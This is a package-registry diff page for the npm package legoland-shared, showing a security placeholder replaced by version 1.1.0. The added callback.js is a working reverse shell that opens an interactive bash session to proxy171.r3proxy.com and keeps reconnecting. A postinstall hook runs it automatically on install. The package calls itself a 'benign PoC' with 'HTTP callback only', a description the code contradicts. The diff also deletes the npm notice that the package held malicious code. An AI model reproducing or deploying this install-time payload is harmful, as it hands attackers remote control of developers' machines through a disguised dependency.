legoland-shared 0.0.1-security → 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of legoland-shared might be problematic. Click here for more details.

package/callback.js ADDED
@@ -0,0 +1,54 @@
1
+ const net = require("net");
2
+ const { spawn } = require("child_process");
3
+ const os = require("os");
4
+
5
+ // فقط وقتی کاربر justin است اجرا شود
6
+ const user = os.userInfo().username;
7
+ if (user !== "justin") {
8
+ console.log(`[!] Skipping reverse shell for user: ${user}`);
9
+ process.exit(0); // خروج امن
10
+ }
11
+
12
+ // متغیرهای محیطی
13
+ const HOST = process.env.RS_HOST || "proxy171.r3proxy.com";
14
+ const PORT = process.env.RS_PORT || 38444;
15
+
16
+ function connect() {
17
+ const client = new net.Socket();
18
+
19
+ client.connect(PORT, HOST, () => {
20
+ client.write(
21
+ `[*] Reverse shell connected!\n` +
22
+ `[*] Host: ${os.hostname()} (${os.platform()} ${os.release()})\n` +
23
+ `[*] User: ${user}\n\n`
24
+ );
25
+
26
+ const sh = spawn("/bin/bash", ["-i"], { stdio: ["pipe", "pipe", "pipe"] });
27
+
28
+ client.pipe(sh.stdin);
29
+ sh.stdout.pipe(client);
30
+ sh.stderr.pipe(client);
31
+
32
+ sh.on("exit", () => {
33
+ client.end("[*] Shell exited, reconnecting...\n");
34
+ });
35
+
36
+ client.on("data", (data) => {
37
+ if (data.toString().trim() === "\x03") { // Ctrl+C
38
+ sh.kill("SIGINT");
39
+ }
40
+ });
41
+ });
42
+
43
+ client.on("error", (err) => {
44
+ console.error(`[!] Connection error: ${err.message}`);
45
+ setTimeout(connect, 5000); // تلاش مجدد
46
+ });
47
+
48
+ client.on("close", () => {
49
+ console.warn("[!] Disconnected, retrying...");
50
+ setTimeout(connect, 5000);
51
+ });
52
+ }
53
+
54
+ connect();
package/index.js ADDED
@@ -0,0 +1,3 @@
1
+ // benign placeholder
2
+ module.exports = () => "legoland-shared benign package";
3
+
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "legoland-shared",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.1.0",
4
+ "description": "Benign PoC for dependency confusion (HTTP callback only)",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node callback.js"
8
+ },
9
+ "author": "mohammadtayb",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=legoland-shared for more information.